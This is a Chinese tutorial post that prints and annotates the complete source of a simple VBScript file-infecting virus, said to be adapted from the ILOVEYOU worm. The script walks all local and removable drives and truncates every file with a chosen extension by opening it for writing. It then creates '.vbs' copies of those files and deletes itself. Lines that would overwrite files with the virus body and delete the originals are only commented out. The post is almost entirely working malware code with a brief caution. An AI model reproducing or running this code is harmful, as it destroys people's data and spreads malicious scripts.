vbs病毒的简单例子源代码解析

  说明:作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相同文件名但后带.vbs的文件。因此,请注意设立好破坏测试条件,千万不要对他人进行测试,否则,一切后果自负。如果你的系统不支持.vbs,可以将后缀改为.vbe

  dim folder,fso,foldername,f,d,dc

  set fso=createobject("scripting.filesystemobject")

  set self=fso.opentextfile(wscript.scriptfullname,1)

  vbscopy=self.readall '读取病毒体,以备复制到文件

  self.close

  set dc=fso.Drives

  for each d in dc

  if d.drivetype=3 or d.drivetype=2 then '检查磁盘类型

  wscript.echo d '弹出窗口,显示找到盘符

  scan(d)

  end if

  next

  lsfile=wscript.scriptfullname '该脚本程序路径

  set lsfile=fso.getfile(lsfile)

  lsfile.delete(true) '病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码)

  sub scan(folder_)

  on error resume next

  set folder_=fso.getfolder(folder_)

  set files=folder_.files

  for each file in files

  ext=fso.GetExtensionName(file) '获取文件后缀

  ext=lcase(ext) '后缀名转换成小写字母

  if ext="mp5" then '如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,最好是非正常后缀名

  set ap=fso.opentextfile(file.path,2,true)

  ' ap.write vbscopy '覆盖文件,慎用

  ap.close

  set cop=fso.getfile(file.path)

  cop.copy(file.path & ".vbs") '创建另外一个病毒文件

  ' file.delete(true) '删除原来文件

  end if

  next

  set subfolders=folder_.subfolders

  for each subfolder in subfolders '搜索其他目录

  scan(subfolder)

  next

  end sub